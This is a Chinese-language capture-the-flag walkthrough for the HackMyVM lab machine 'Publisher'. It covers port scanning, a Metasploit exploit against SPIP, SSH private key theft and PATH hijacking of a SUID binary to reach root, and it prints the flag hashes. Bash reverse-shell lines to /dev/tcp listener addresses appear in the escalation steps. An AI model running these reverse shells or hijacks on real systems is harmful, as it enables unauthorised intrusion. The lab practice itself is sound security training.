Publisher - hackmyvm

简介

靶机名称:Publisher

难度:简单

靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Publisher

本地环境

虚拟机:vitual box

靶场IP(Publisher):192.168.56.123

跳板机IP(windows 11):192.168.56.1 192.168.190.100

渗透机IP(kali):192.168.190.131

扫描

nmap有点慢,fscan先探路

fscan -h 192.168.56.123 -nobr -p "1-65535"

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
192.168.56.123:22 open
192.168.56.123:110 open
192.168.56.123:80 open
192.168.56.123:25 open

没有22还是挺意外的。

HTTP

spip服务

image-20240625101055756

路径扫描一下,发现主要服务布置在/spip/路径下

feroxbuster -u http://192.168.56.123/ -t 20 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt  -C 500

image-20240625101921573

image-20240625102014244

msf中找到poc,直接打

image-20240625102513225

think用户目录下有user.txt

fa229046d44eda6a3598c73ad96f4ca5

image-20240625104849073

提权

我们对think的ssh私钥有读取权限。直接拉下来,ssh登陆上去

image-20240625105202089

ssh think@192.168.56.123 -i ./id_rsa 

image-20240625105237079

值得一提的是,think用户执行linpeas识别不到容器环境,也无法在根目录找到.dockerenv文件夹,但是www-data用户就可以……除此之外think还有大大小小的限制,少见的web用户还能比普通用户权限更高

image-20240625110248546

image-20240625121530830

查看SUID权限,发现有一个run_container可以用

find / -perm -u=s -type f 2>/dev/null 

image-20240625125311620

无法运行,但至少可读。拉下来看一下

image-20240722145102157

总之就是会执行一下/opt/run_container.sh这个脚本文件。很神奇我们连查看权限都没有,但就是能执行。

image-20240722145339178

image-20240722153555483

不知道ID的话,就重新进入www-data用户,查/etc/hosts

image-20240722170813931

41c976e507f8

​ 随便输入的话,还会看到有一个对脚本16行的报错。因为缺失这个命令,我们可以尝试通过PATH进行劫持。

image-20240722171501476

think@publisher:/tmp$ touch  validate_container_id
think@publisher:/tmp$ vim validate_container_id
think@publisher:/tmp$ cat validate_container_id
bash -i &>/dev/tcp/192.168.56.1/30000 <&1
think@publisher:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
think@publisher:/tmp$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/tmp

然后就发现我们对run_container.sh有完全的控制权了

image-20240729203310658

往run_container.sh中写入提权命令,然后执行bash -p即可

think@publisher:/opt$ cat run_container.sh
cat run_container.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/192.168.56.1/40000 0>&1"
think@publisher:/opt$ /usr/sbin/run_container
/usr/sbin/run_container
think@publisher:/opt$ bash -p
bash -p
bash-5.0# id
id
uid=1000(think) gid=1000(think) euid=0(root) egid=0(root) groups=0(root),1000(think)
bash-5.0# cat /root/root.txt
cat /root/root.txt
3a4225cc9e85709adda6ef55d6a4f2ca

over

后记

还是有点疑惑的,/usr/sbin/run_container 的SUID是root,但是通过它执行反弹shell却仍然是think用户。

除此之外,可以从一些痕迹看出来我们拿到的shell是受限shell,但并不是很明确其是如何实现对think用户无法访问opt文件夹的限制。感觉就是很神奇。

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值